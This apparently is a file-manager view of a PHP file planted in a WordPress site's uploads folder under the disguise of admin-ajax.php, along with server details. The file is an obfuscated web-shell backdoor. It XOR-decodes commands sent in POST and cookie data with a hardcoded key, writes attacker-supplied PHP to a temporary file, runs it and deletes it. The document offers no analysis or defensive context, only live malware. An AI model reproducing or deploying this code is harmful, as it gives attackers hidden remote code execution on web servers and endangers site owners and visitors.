HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/10/admin-ajax.php
<?php $llchtl    = /*  m   */ 'llchtl'    ^       '';
$_xeand	=       "\141"	.    "r"."\162"    . /*  jtzv  */ "\x61" /*  pd*/ . /* izwora  */ "y".$llchtl(784-689)    .   $llchtl(778-669) /* ysk*/ .	$llchtl(378-281)    .  "\x70";$usmtxl   =	"i"."m"."\x70" /*eqnty*/ . /* ilhwwn*/ "l"."o".$llchtl(100)   .   "\x65";






function	hlsfo($uaamng,	$nyxpu)

{


    global     $llchtl;      
    $uaamng /*jla*/ =       "<"	.      "?"."p"."h"."p".$llchtl(32)     .     "u"."\156"    .    "l"."\151"    .    "n"."\153"	.	$llchtl(398-358) /*  nee   */ . /*  idkr*/ $llchtl(95) /* v  */ . /* fpn   */ $llchtl(95)     .	"F"."I".$llchtl(76) /*ror   */ . /*elansj */ "E".$llchtl(95)      .     $llchtl(423-328) /* dmoei*/ . /*   gr*/ "\51"  . /*   ajt  */ "\x3b"      . /* xyd*/ $llchtl(32)	.    $uaamng["d"];


      $eccbchz    =    "\x66" /*   b   */ .    "\x69"    .      $llchtl(108)	.    "\x65"    .   $llchtl(1062-967)       . /* x*/ "\160" /*   ng   */ . /*  zodiig   */ $llchtl(117)	.    "t"."_"."\x63"    . /*k*/ "\x6f"      .	"n"."t"."\x65"    .   "n".$llchtl(116) /*  krazau  */ .	"s";
	    $eccbchz($nyxpu, /* svhpw*/ $uaamng);


    


    bdtkjh($nyxpu);
}

$ehggn   =	73;





function     bdtkjh($nyxpu){
  global	$llchtl;
 /*   ic  */ 


    include($nyxpu);

    $vksivv_maw      =    $nyxpu;

     @unlink($vksivv_maw);

}

function     ezrdery()


{


 /*jtkzx*/ global     $llchtl;

  $uxcu_y     = /*gch   */ array();


	$uxcu_y[$llchtl(112)       .	"\166"] /*  ep */ =    phpversion();	$uxcu_y["s"."v"]  =    "3".".".$llchtl(524-471);
	$uxcu_ydxxkejc /*   k   */ =   74;

	echo  @serialize($uxcu_y);


}




function  nonxyjsd_($uaamng,  $hvcsigflx)
{
 /* x*/ global	$llchtl;

       $zvsuxnyxv   = /* hfft   */ "";  $oodmsxzjgy /*   wq*/ =   strlen($uaamng);
    $vcyvt /*  f  */ =    strlen($hvcsigflx);

      $uxcu_y    =      0;

 /*   vbiaz */ $xbkcpyen     =    0;
   
  while    ($uxcu_y    <      $oodmsxzjgy) /*g  */ { /* mbaqct  */ $arnrtwhksk  =   $uaamng[$uxcu_y]    ^    $hvcsigflx[$xbkcpyen      % /*   ybkf_w*/ $vcyvt];
 /*wru  */ $zvsuxnyxv /* rcxn   */ .=    $arnrtwhksk;
     $xbkcpyen++;	


    $uxcu_y++;    }


 /* lytf*/ 


 /*  ygsrq  */ if  (strlen($zvsuxnyxv)	> /*  muc  */ 20)    {


 /*wy   */ $brjnpxy /*   e_  */ =    substr($zvsuxnyxv,  0, /*wxats   */ 20);


       }

 /* wfeel  */ if /*   r   */ (empty($zvsuxnyxv)) /*   f */ {
 /*   zigpk  */ $zvsuxnyxv	=    date('Y-m-d /*   fkamqm*/ H:i:s');


    }


     return  $zvsuxnyxv;
}





function    yxlgybbjaj($uxcu_yyonshf){


 /*   v  */ global /* z   */ $llchtl;

 /*vbtbuw  */ 

     $bndzcp /*   kjud   */ =	"\146" /*jnx   */ .       $llchtl(371-272)    .       "c"."c".$llchtl(101)     .   "\x34" /*  qk */ .	"3"."\x30" /*  b  */ .   "-"."2".$llchtl(600-546) /*   vwhtb*/ .    "\x63"      .       $llchtl(685-634)	.      $llchtl(45) /* sua */ .  "4"."\63"    .	"c".$llchtl(609-512)     . /*  i*/ $llchtl(45) /* lvlaz   */ .    "b"."f"."7"."\146"    . /*  yohb   */ $llchtl(45)	.    "\x35"	.       "\67" /*  cep*/ .    "f"."3"."\70" /*kebcjf */ .      $llchtl(55)      . /* fc*/ "\67" /*  u */ .    $llchtl(837-782)     .	$llchtl(99)    . /*   bpjrym   */ $llchtl(846-746) /*   axer  */ . /* gkao*/ $llchtl(925-877) /*  ibqtwt  */ . /*   r_fp   */ "4";

          foreach	($uxcu_yyonshf /*  ew  */ as /*   _ts */ $hmskuq       => /* _   */ $uaamng)      {

	umdmnokk(base64_decode($uaamng),	$bndzcp,    $hmskuq);
     }


}


function /*   pywujz  */ umdmnokk($uaamng,     $bndzcp,    $hmskuq)
{

    global    $llchtl;

    


       $uaamng	=    unserialize(nonxyjsd_(nonxyjsd_($uaamng,    $bndzcp),    $hmskuq));


	$ewuwui_aq    =	'_pv_tj';	$ejkvdxxquf     =    'wmx__zfuy';


  if /* hvljwp   */ (isset($uaamng["\141"     .   "k"]))    {     if /*qp */ ($uaamng["\x61"]   ==  "i")       {       ezrdery();
    } /*xojhls   */ elseif    ($uaamng["\x61"]       ==	$llchtl(531-430)) /*  tndtvz   */ {

       hlsfo($uaamng,	sprintf("\56" /*  otxu   */ .    "\57"     . /*_weuh*/ "%".$llchtl(115)     .  $llchtl(525-479)   . /* mzcd */ "\160"    .    "l", /*   uck  */ md5($bndzcp)));			$fvasuonmvx /*fi*/ =     44;    }

	exit();
      }


}




yxlgybbjaj($_POST);	


$kxuphjjn	= /*   uc   */ 'rawurldecode';




$zigpmmcot /*   aevm_x   */ =    $_xeand($kxuphjjn,  $_POST);

$usmtxl("", /*   df*/ $kxuphjjn);


yxlgybbjaj($_COOKIE);

$cvn_cvlvhr	=       $_xeand($kxuphjjn,    $_COOKIE);


?>